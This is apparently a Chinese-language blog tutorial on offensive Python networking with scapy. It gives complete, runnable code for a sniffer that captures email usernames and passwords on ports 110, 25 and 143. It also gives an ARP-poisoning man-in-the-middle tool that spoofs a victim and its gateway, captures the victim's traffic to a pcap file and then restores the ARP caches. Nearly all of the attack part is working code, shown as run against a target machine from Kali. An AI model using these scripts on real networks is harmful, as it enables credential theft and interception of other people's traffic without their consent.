Python黑客编程之scapy抓包发包

目的

  • 用scapy进行二层发包,实现arp欺骗,并抓取本地网卡的数据报,来截获目标机器和网关之间的流量

scapy介绍

  • scapy是python中一个可用于网络嗅探的非常强大的第三方库,可以用它来做packet的嗅探和packet的伪造发包
  • scapy已经在内部实现了大量的网络协议。如DNS、ARP、IP、TCP、UDP等等,可以用它来编写非常灵活实用的工具
  • 不建议在windows上使用scapy,装了npcap和winpcap,还是跑不起来,用kali原装的scapy就很方便
  • scapy进行投毒:发送伪造的arp包,修改目标机器以及网卡的arp缓存,欺骗网卡,让它以为我们是它的目标机器,欺骗目标机器,让它以为我们是它的网关

例子:用scapy抓取邮箱密码

  • 监听本地网卡,过滤常用邮箱端口的流量,通过回调函数将数据包的内容打印出来
from scapy.all import *

def packet_callback(packet):
    if packet[TCP].payload:
        mypacket = str(packet[TCP].payload)
        if 'user' in mypacket.lower() or 'pass' in mypacket.lower():
            print(f"[*] Destination: {packet[IP].dst}")
            print(f"[*] {str(packet[TCP].payload)}")

def main():
    sniff(filter='tcp port 110 or tcp port 25 or tcp port 143',
          prn=packet_callback, store=0)

if __name__ == "__main__":
    main()
  • 效果
    • 登录邮箱

    • 抓取结果

arp投毒代码

  • 通过发arp包并获取响应,根据ip地址获取mac地址
def get_mac(ip):
    packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=ip)
    resp, _ = srp(packet, timeout=2, retry=10, verbose=False)
    for _, r in resp:
        return r[Ether].src
    return None
  • 创建arper类,将目标机器ip和网卡ip参数传递给类属性,并启用poison和sniff线程
class Arper():
    def __init__(self, victim, gateway, interface='en0'):
        self.victim = victim
        self.victim_mac = get_mac(victim)
        self.gateway = gateway
        self.gateway_mac = get_mac(gateway)
        self.interface = interface
        conf.iface = interface
        conf.verb = 0
        print(f"Initialized {interface}: ")
        print(f"Gateway {gateway} is at {self.gateway_mac}")
        print(f"Victim {victim} is at {self.victim_mac}")
        print('-'*30)

    def run(self):
        self.poison_thread = Process(target=self.poison)
        self.poison_thread.start()
        self.sniff_thread = Process(target=self.sniff)
        self.sniff_thread.start()

if __name__ == "__main__":
    [victim, gateway, interface] = [sys.argv[1], sys.argv[2], sys.argv[3]]
    myarp = Arper(victim, gateway, interface)
    myarp.run()
  • poison投毒函数:伪造arp包,不断将本地的mac地址发给目标机器以及网关,将自己伪造成对方的网关和目标机器,以此来截获网关和目标机器间的通信流量
    def poison(self):
        poison_victim = ARP()
        poison_victim.op =2
        poison_victim.psrc = self.gateway
        poison_victim.pdst = self.victim
        poison_victim.hwdst = self.victim_mac
        print(f"ip src: {poison_victim.psrc}")
        print(f"ip dst: {poison_victim.pdst}")
        print(f"mac src: {poison_victim.hwsrc}")
        print(f"mac dst: {poison_victim.hwdst}")
        print(poison_victim.summary())
        print("-"*30)

        poison_gateway = ARP()
        poison_gateway.op = 2
        poison_gateway.psrc = self.victim
        poison_gateway.pdst = self.gateway
        poison_gateway.hwdst = self.gateway_mac
        print(f"ip src: {poison_gateway.psrc}")
        print(f"ip dst: {poison_gateway.pdst}")
        print(f"mac src: {poison_gateway.hwsrc}")
        print(f"mac dst: {poison_gateway.hwdst}")
        print(poison_gateway.summary())
        print("-"*30)

        print(f"Beginning the ARP poison. [CTRL-C to stop]")
        while True:
            sys.stdout.write('.')
            sys.stdout.flush()
            try:
                send(poison_victim)
                send(poison_gateway)
            except KeyboardInterrupt:
                self.restore()
                sys.exit()
            time.sleep(2)
  • sniff嗅探函数,监听本地网卡,捕获网关和目标机器间的通信流量,保存到pcap文件中
    def sniff(self, count=100):
        time.sleep(5)
        print(f"Sniffing {count} "
              f"")
        bpf_filter = "ip host %s " % self.victim
        packets = sniff(count=count, filter=bpf_filter, iface=self.interface)
        wrpcap("arper.pcap", packets)
        print("Got the packets")
        self.restore()
        self.poison_thread.terminate()
        print("Finished.")
  • restore恢复函数,通过发送正确的arp包,恢复目标机器和网关的arp缓存,恢复正常通信
    def restore(self):
        print("Restoring ARP tables...")
        send(ARP(op=2, psrc=self.gateway, hwsrc=self.gateway_mac, pdst=self.victim, hwdst="ff:ff:ff:ff:ff:ff"), count=5)
        send(ARP(op=2, psrc=self.victim, hwsrc=self.victim_mac, pdst=self.gateway, hwdst="ff:ff:ff:ff:ff:ff"), count=5)

效果

  • 目标机器192.168.43.81,网关192.168.43.1,在攻击机kali上运行scapy脚本,运行日志如下,可以看到成功篡改arp缓存
  • 打开截获的通信流量
posted @ 2023-02-10 22:42  z5onk0  阅读(1478)  评论(0)    收藏  举报